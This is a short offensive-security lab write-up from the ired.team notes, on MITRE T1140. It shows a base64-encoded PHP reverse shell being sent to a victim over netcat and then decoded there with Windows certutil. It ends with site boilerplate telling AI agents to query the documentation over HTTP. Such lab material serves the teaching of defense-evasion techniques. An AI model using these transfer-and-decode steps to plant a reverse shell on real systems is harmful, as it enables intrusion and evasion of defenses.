# Encode/Decode Data with Certutil

In this lab I will transfer a base64 encoded php reverse shell from my attacking machine to the victim machine via netcat and decode the data on the victim system using a native windows binary `certutil`.

## Execution

Preview of the content to be encoded on the attacking system:

![](/files/-LJtW1oRIcuTM86YGjjj)

Sending the above shell as a base64 encoded string to the victim system (victim is listening and waiting for the file with `nc -l 4444 > enc`):

{% code title="attacker\@local" %}

```csharp
base64 < shell.php.gif | nc 10.0.0.2 4444
```

{% endcode %}

Once the file is received on the victim, let's check its contents:

{% code title="attacker\@victim" %}

```csharp
certutil.exe -decode .\enc dec
```

{% endcode %}

![](/files/-LJtW1oSbuC4G9NnXZaF)

Let's decode the data:

{% code title="attacker\@victim" %}

```csharp
certutil.exe -decode .\enc dec
```

{% endcode %}

Let's have a look at the contents of the file `dec` which now contains the base64 decoded shell:

![](/files/-LJtW1oUNGLtS_kRSzjY)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1140>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ired.team/offensive-security/defense-evasion/t1140-encode-decode-data-with-certutil.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
